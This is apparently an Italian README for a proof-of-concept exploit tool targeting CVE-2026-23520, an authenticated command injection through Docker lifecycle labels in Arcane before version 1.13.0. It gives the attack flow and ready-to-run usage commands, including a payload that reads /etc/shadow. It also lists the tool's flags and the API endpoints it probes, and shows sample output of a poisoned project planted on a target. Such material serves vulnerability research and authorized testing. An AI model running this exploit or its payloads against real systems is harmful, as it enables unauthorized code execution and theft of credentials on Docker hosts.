
Proof-of-concept exploit per CVE-2026-23520, una RCE autenticata nella gestione Docker di Arcane tramite iniezione di comandi OS nelle etichette del ciclo di vita. Include modalità check, exploit e generate.
Iniezione di Comandi di Sistema Operativo in Arcane Docker Management (< 1.13.0)
Arcane è una piattaforma moderna di gestione Docker basata sul web. Le versioni precedenti alla 1.13.0 sono vulnerabili a una Esecuzione Remota di Codice (RCE) autenticata tramite iniezione di comandi di sistema operativo nelle etichette del ciclo di vita del servizio di aggiornamento.
Il servizio di aggiornamento supportava due etichette dei container Docker:
| Etichetta | Trigger |
|---|
com.getarcaneapp.arcane.lifecycle.pre-update | Prima di un aggiornamento del container |
com.getarcaneapp.arcane.lifecycle.post-update | Dopo un aggiornamento del container |
Il valore dell'etichetta viene passato direttamente a /bin/sh -c senza alcuna sanificazione. Poiché qualsiasi utente autenticato (non solo gli amministratori) può creare progetti tramite l'API, un attaccante può inserire un progetto avvelenato. Quando un amministratore successivamente attiva un aggiornamento del container, il comando iniettato viene eseguito all'interno del container — e potenzialmente sull'host se sono presenti mount di volumi.
Attaccante (utente con privilegi bassi) Server Arcane
──────────────────────── ──────────────
1. Autenticazione (qualsiasi utente) ──────────► JWT emesso
2. Creazione progetto con Progetto salvato con
etichetta del ciclo di vita avvelenata ──────► etichetta dannosa
│
┌─────────────────────────────────────────────┘
│ 3. L'amministratore attiva l'aggiornamento del container
▼
L'updater di Arcane legge il valore dell'etichetta
Lo passa a /bin/sh -c
│
▼
*** Esecuzione arbitraria di comandi ***
(ambito container, o host se i volumi sono montati)
| Stato | Versioni |
|---|---|
| Vulnerabili | Arcane < 1.13.0 |
| Corrette | Arcane ≥ 1.13.0 |
La correzione (commit 5a9c2f9) rimuove completamente la funzionalità delle etichette del ciclo di vita per eliminare la superficie d'attacco.
urllib della libreria standard, funziona su qualsiasi Python 3.10+check (fingerprint), exploit (deploy), generate (file compose offline)-v) — mostra esattamente quali endpoint vengono sondati e cosa viene restituitopython3 poc_cve_2026_23520.py check -t <TARGET_IP>
python3 poc_cve_2026_23520.py exploit \
-t <TARGET_IP> \
-u <USERNAME> \
-p <PASSWORD> \
--payload "id"
python3 poc_cve_2026_23520.py generate --payload "cat /etc/shadow"
python3 poc_cve_2026_23520.py -v check -t <TARGET_IP>
usage: poc_cve_2026_23520.py [-h] [-v] {exploit,check,generate} ...
positional arguments:
{exploit,check,generate}
exploit Distribuisci il progetto avvelenato tramite l'API di Arcane
check Esegui il fingerprint di Arcane e verifica se è vulnerabile
generate Genera un file compose avvelenato (nessuna rete richiesta)
options:
-h, --help Mostra questo messaggio di aiuto ed esci
-v, --verbose Mostra l'output di debug del probing
Flag dell'exploit:
| Flag | Descrizione | Default |
|---|---|---|
-t, --target | Host Arcane (IP o hostname) | obbligatorio |
-P, --port | Porta Arcane | 3552 |
-u, --username | Qualsiasi utente Arcane autenticato | obbligatorio |
-p, --password | Password dell'utente | obbligatorio |
--payload | Comando shell da iniettare | id |
--hook | Hook di aggiornamento pre o post | pre |
--project-name | Nome del progetto avvelenato | poc-cve-2026-23520 |
--env-id | ID dell'ambiente (rilevato automaticamente se omesso) | auto |
--scheme | http o https | http |
--no-verify | Salta la verifica del certificato TLS | off |
Lo script non codifica un singolo percorso API. Invece, sonda silenziosamente più percorsi noti per ogni operazione e si ferma al primo successo:
| Operazione | Endpoint provati |
|---|---|
| Versione | /api/version, /api/system/version, /api/v1/version, /api/settings/version, /api/status, /api/health, /api/info |
| Autenticazione | /api/auth/login, /api/login, /api/v1/auth/login, /api/auth/signin, /api/users/login |
| Ambienti | /api/environments, /api/v1/environments, /api/endpoints, /api/v1/endpoints |
| Creazione progetto | /api/environments/{id}/projects, /api/v1/environments/{id}/projects, /api/projects, /api/v1/projects, e altri |
Anche le chiavi di risposta vengono abbinate in modo flessibile (ad es., currentVersion, version, Version, serverVersion — inclusi oggetti annidati e ricerca senza distinzione tra maiuscole e minuscole).
╔═══════════════════════════════════════════════════════╗
║ CVE-2026-23520 PoC Exploit ║
║ Arcane < 1.13.0 — Lifecycle Label RCE ║
╚═══════════════════════════════════════════════════════╝
── Step 1 · Fingerprinting Target ──
[*] Target: http://10.129.7.208:3552
[*] Probing version endpoints …
[+] Found version via /api/version
[+] Arcane version: v1.12.4
[+] Version v1.12.4 is < 1.13.0 — VULNERABLE
── Step 2 · Authentication ──
[*] Authenticating as attacker …
[+] JWT obtained via /api/auth/login
── Step 3 · Environment Discovery ──
[*] Probing environment endpoints …
[+] Found 1 environment(s) via /api/environments
[*] → 1 (local)
[+] Using environment: 1
── Step 4 · Planting Poisoned Project ──
[*] Injecting payload into lifecycle label: pre-update
[*] Label : com.getarcaneapp.arcane.lifecycle.pre-update
[*] Value : id
[+] Project created via /api/environments/1/projects
── Exploit Planted Successfully ──
[+] The poisoned project is now waiting for an update trigger.
5a9c2f9Questo strumento è fornito esclusivamente per test di sicurezza autorizzati e scopi educativi. L'accesso non autorizzato a sistemi informatici è illegale. L'autore non è responsabile per qualsiasi uso improprio. Utilizzalo solo contro sistemi di tua proprietà o per i quali hai esplicita autorizzazione scritta a testare.
MIT